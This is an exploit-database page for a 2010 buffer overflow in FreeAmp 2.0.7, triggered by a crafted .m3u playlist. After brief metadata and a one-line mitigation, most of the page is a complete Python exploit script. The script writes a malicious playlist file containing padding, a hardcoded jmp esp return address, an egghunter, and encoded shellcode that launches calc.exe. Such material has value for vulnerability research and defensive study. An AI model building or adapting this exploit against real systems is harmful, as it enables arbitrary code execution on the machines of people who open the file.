FreeAmp 2.0.7 .m3u Buffer Overflow - Egghunter

vendor:

FreeAmp

by:

zota

7,8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: FreeAmp

Affected Version From: 2.0.7

Affected Version To: 2.0.7

Patch Exists: NO

Related CWE: N/A

CPE: 2.0.7

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3 HUN

2010

FreeAmp 2.0.7 .m3u Buffer Overflow – Egghunter

FreeAmp 2.0.7 is vulnerable to a buffer overflow attack when a specially crafted .m3u file is opened. The exploit uses an egghunter to search for the egg, which is then followed by a payload of 228 bytes. The payload contains a shellcode that executes calc.exe. The exploit was tested on Windows XP SP3 HUN.

Mitigation:

The user should avoid opening untrusted .m3u files.

Source

Exploit-DB raw data:

# Exploit Title: FreeAmp 2.0.7 .m3u Buffer Overflow - Egghunter
# Google Dork: N/A
# Date: 11/12/2010
# Author: zota (Thanks to Andrew; andras.kabai@cert-hungary.hu)
# Software Link: http://letoltes.szoftverbazis.hu/bfc5ec1d5e80cee5b5d3f78459113ed93c51f649/4d03800a/freeamp-v2-0-7-JI2/freeampsetup_2_0_7.exe
# Version: 2.0.7
# Tested on: Windows XP SP3 HUN
# CVE : N/A


filename = "crash.m3u"

egg = "H4CK"

#egghunter --> size 32 byte

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x48\x34\x43\x4b\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

padding = "A" * 14654

#kernel32.dll
#7c86467b   --> jmp esp

eip = "\x7b\x46\x86\x7c"

# 16 byte nop after eip
nop= "C" * 16


#msfpayload windows/exec CMD=calc.exe r | msfencode -b "\x00\x0a\x0d --> size 228 byte"

payload = (
"\xdb\xcf\xd9\x74\x24\xf4\xba\xf0\x1b\xe7\xdb\x5b\x31\xc9" +
"\xb1\x33\x31\x53\x18\x03\x53\x18\x83\xc3\xf4\xf9\x12\x27" +
"\x1c\x74\xdc\xd8\xdc\xe7\x54\x3d\xed\x35\x02\x35\x5f\x8a" +
"\x40\x1b\x53\x61\x04\x88\xe0\x07\x81\xbf\x41\xad\xf7\x8e" +
"\x52\x03\x38\x5c\x90\x05\xc4\x9f\xc4\xe5\xf5\x6f\x19\xe7" +
"\x32\x8d\xd1\xb5\xeb\xd9\x43\x2a\x9f\x9c\x5f\x4b\x4f\xab" +
"\xdf\x33\xea\x6c\xab\x89\xf5\xbc\x03\x85\xbe\x24\x28\xc1" +
"\x1e\x54\xfd\x11\x62\x1f\x8a\xe2\x10\x9e\x5a\x3b\xd8\x90" +
"\xa2\x90\xe7\x1c\x2f\xe8\x20\x9a\xcf\x9f\x5a\xd8\x72\x98" +
"\x98\xa2\xa8\x2d\x3d\x04\x3b\x95\xe5\xb4\xe8\x40\x6d\xba" +
"\x45\x06\x29\xdf\x58\xcb\x41\xdb\xd1\xea\x85\x6d\xa1\xc8" +
"\x01\x35\x72\x70\x13\x93\xd5\x8d\x43\x7b\x8a\x2b\x0f\x6e" +
"\xdf\x4a\x52\xe5\x1e\xde\xe8\x40\x20\xe0\xf2\xe2\x48\xd1" +
"\x79\x6d\x0f\xee\xab\xc9\xff\xa4\xf6\x78\x97\x60\x63\x39" +
"\xfa\x92\x59\x7e\x02\x11\x68\xff\xf1\x09\x19\xfa\xbe\x8d" +
"\xf1\x76\xaf\x7b\xf6\x25\xd0\xa9\x95\xa8\x42\x31\x74\x4e" +
"\xe2\xd0\x88\x9a")

buffer = padding + egg + egg + payload + "A" * (14907 - len(padding) - len(egg) - len(egg) -len(payload)) + eip + nop + egghunter + "D" * (15000 - 14907 - len(egg) - len(nop) - len(egghunter))

textfile = open(filename,'w')
textfile.write(buffer)
textfile.close()